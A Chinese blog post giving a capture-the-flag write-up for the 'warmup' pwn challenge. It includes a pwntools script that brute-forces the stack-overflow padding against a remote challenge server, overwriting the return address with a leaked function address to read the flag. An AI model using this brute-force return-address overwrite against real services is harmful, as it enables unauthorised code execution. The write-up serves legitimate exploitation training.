攻防世界pwn题:warmup
0x00:前言
这道题是盲打题,就是没有给附件,只给了远程环境。
但这道题并不难,由于这种形式少见,所以我就在这里记录一下。
下面看看我的做题思路吧~
0x01:做题思路
1、初览
题目并没有给附件,这时候就可以做好盲打的准备了。
2、连接远程并分析
用nc连接一下远程:
给了一个地址,0x40060d,看地址是个64位的程序。给了一个地址,大胆猜测是get_shell或者是cat_flag相关的。然后我们可以操作的是输入数据,回车也没有任何返回值,这也可以排除格式化字符串漏洞。我们可以先考虑最简单的栈溢出。
3、编写exp
from pwn import * sys = 0x40060d for i in range(100): print(i) try: io = remote("111.200.241.244",53599) payload = b'A'*i + p64(sys) io.recvuntil(">") io.sendline(payload) print(io.recv()) io.interactive() except: io.close()
从0到99依次尝试,判断溢出所需长度。
在长度为72时,打印出了flag:
注意,这里要用try……except结构处理异常,不然就会报错导致退出执行:
tolele
2022-07-02
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 使用C#创建一个MCP客户端
· 分享一个免费、快速、无限量使用的满血 DeepSeek R1 模型,支持深度思考和联网搜索!
· ollama系列1:轻松3步本地部署deepseek,普通电脑可用
· 基于 Docker 搭建 FRP 内网穿透开源项目(很简单哒)
· 按钮权限的设计及实现